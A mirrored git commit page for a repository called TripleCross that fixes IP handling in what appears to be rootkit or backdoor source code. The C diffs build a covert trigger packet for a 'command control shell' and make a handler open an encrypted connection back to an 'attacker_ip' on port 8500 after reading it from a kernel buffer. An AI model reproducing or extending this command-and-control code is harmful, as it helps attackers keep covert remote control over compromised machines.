mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-25 02:43:07 +08:00
Solved an error in client ip config
This commit is contained in:
Binary file not shown.
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -566,7 +566,7 @@ void activate_command_control_shell_encrypted_multi_packet(char* argv, int mode)
|
||||
for(int ii=0; ii<PAYLOAD_LEN; ii++){
|
||||
payload[ii] = (char)rand();
|
||||
}
|
||||
inet_pton(AF_INET, argv, (void*)(payload+0x01));
|
||||
inet_pton(AF_INET, local_ip, (void*)(payload+0x01));
|
||||
uint16_t port = htons(8000);
|
||||
memcpy(payload+0x05, (char*)&port, 0x02);
|
||||
char result[0x03];
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -169,7 +169,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
||||
//TODO EXTRACT IP FROM KERNEL BUFFER
|
||||
inet_ntop(AF_INET, &e->client_ip, attacker_ip, INET_ADDRSTRLEN);
|
||||
printf("Starting encrypted connection with ip: %s\n", attacker_ip);
|
||||
client_run(local_ip, 8500);
|
||||
client_run(attacker_ip, 8500);
|
||||
break;
|
||||
case CC_PROT_COMMAND_HOOK_ACTIVATE_ALL:
|
||||
printf("Activating all hooks as requested\n");
|
||||
|
||||
Reference in New Issue
Block a user